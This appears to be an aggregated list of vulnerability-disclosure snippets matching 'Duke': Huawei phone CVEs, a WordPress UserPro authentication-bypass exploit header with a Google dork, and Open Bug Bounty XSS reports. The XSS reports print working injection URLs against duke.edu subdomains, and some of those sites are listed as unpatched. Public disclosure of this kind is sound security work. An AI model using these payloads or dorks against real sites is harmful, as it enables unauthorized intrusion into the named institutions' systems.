Huawei Duke-L09 Forensic Bypass Vulnerability

The Huawei Duke-L09 is a smartphone from the Chinese company Huawei Huawei. A forensic bypass vulnerability exists in the Huawei Duke-L09 "phone recovery" feature. The vulnerability is due to the device failing to reasonably implement the authentication feature. An attacker can exploit this...

finance.duke.edu XSS vulnerability

Vulnerable URL: https://finance.duke.edu/systems/glossary/index.php?pagenum=6%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E=17%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E&&%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 05.01.2018 Latest check for...

CVE-2017-8166

Huawei mobile phones Honor V9 with the software versions before Duke-AL20C00B195 have an App Lock bypass vulnerability. An attacker could perform specific operations to bypass the App Lock to use apps on a target mobile phone...

CVE-2017-8166

Huawei mobile phones Honor V9 with the software versions before Duke-AL20C00B195 have an App Lock bypass vulnerability. An attacker could perform specific operations to bypass the App Lock to use apps on a target mobile phone...

Integer overflow

honor 8 Pro with software Duke-L09C10B120 and earlier versions,Duke-L09C432B120 and earlier versions,Duke-L09C636B120 and earlier versions has an integer overflow vulnerability. The attacker sends a response message to the device, which contains an illegal length field, it could produce an intege...

CVE-2017-2717

CVE-2017-2717 affects Huawei Honor 8 Pro devices (Duke-L09C10B120 and earlier; Duke-L09C432B120 and earlier; Duke-L09C636B120 and earlier). Root cause: integer overflow caused by processing a response message with an illegal length field, potentially triggering a restart of the modem system. Impa...

CVE-2017-8166

Huawei mobile phones Honor V9 with the software versions before Duke-AL20C00B195 have an App Lock bypass vulnerability. An attacker could perform specific operations to bypass the App Lock to use apps on a target mobile phone...

WordPress UserPro 4.6.17 Authentication Bypass

Exploit Title: Userpro a WordPress Plugin a Authentication Bypass Google Dork: inurl:/plugins/userpro Date: 11.04.2017 Exploit Author: Colette Chamberland Wordfence, Iain Hadgraft Duke University Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?srank=9...

WordPress Userpro Plugin < 4.9.17.1 - Authentication Bypass Vulnerability

Exploit for php platform in category web applications Exploit Title: Userpro – WordPress Plugin – Authentication Bypass Google Dork: inurl:/plugins/userpro Date: 11.04.2017 Exploit Author: Colette Chamberland Wordfence, Iain Hadgraft Duke University Vendor Homepage:...

Huawei Honor V9 App Lock Bypass Vulnerability

Huawei Honor V9 is a smartphone product from Chinese company Huawei Huawei. A security vulnerability exists in previous versions of Huawei Honor V9 Duke-AL20C00B195. The vulnerability can be exploited by an attacker to bypass the app lock feature and use protected apps on the phone...

medschool.duke.edu XSS vulnerability

Vulnerable URL: https://medschool.duke.edu/search-results?asq='" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinated Disclosure Timeline: Description| Valu...

dukepub.co.uk XSS vulnerability

Vulnerable URL:...

db.library.duke.edu XSS vulnerability

Open Bug Bounty ID: OBB-293538 Description| Value ---|--- Affected Website:| db.library.duke.edu Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

scholars.duke.edu XSS vulnerability

Vulnerable URL: https://scholars.duke.edu/search?querytext=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 16:43 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

fuqua.duke.edu XSS vulnerability

Vulnerable URL: http://www.fuqua.duke.edu/layout/flash/mediaplayer.swf?file=http://content.bitsontherun.com/videos/bkaovAYt-364%20766.flv=falseℑ=http://appsec.ws/ExploitDB/cMon.jpg=true=javascript:confirm/openbugbounty/;//=blank&.swf Details: Description| Value ---|--- Patched:| No Latest check f...

search.library.duke.edu XSS vulnerability

Vulnerable URL: http://search.library.duke.edu/search?N=0=1=Subject=1%22%2F%3E%3CsvG%2FonLoad%3Dalert%28/OPENBUGBOUNTY/%29%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknow...

maps.duke.edu XSS vulnerability

Vulnerable URL: http://maps.duke.edu/map/accessible.php?id=21%22%27--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

vmw-lisweb01.duhs.duke.edu XSS vulnerability

Vulnerable URL: http://vmw-lisweb01.duhs.duke.edu/TestLabs.asp?Context=/%3C!%27/!%22/!%27/%22/--!%3E%3C/Title/%3C/script/%3E%3CInput/Autofocus//Onfocus=confirmXSSPOSED%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly...

deconvolution.cs.duke.edu XSS vulnerability

Vulnerable URL: http://deconvolution.cs.duke.edu/search.pl?gene=%27%22%3E%3Cimg%20src=x%20onerror=alert/OPENBUGBOUNTY/%20x= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

maps.duke.edu XSS vulnerability

Vulnerable URL: http://maps.duke.edu/map/?id=21%27"--!!s/key=Biological Sciences 113' Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check maps.duke.edu SSL...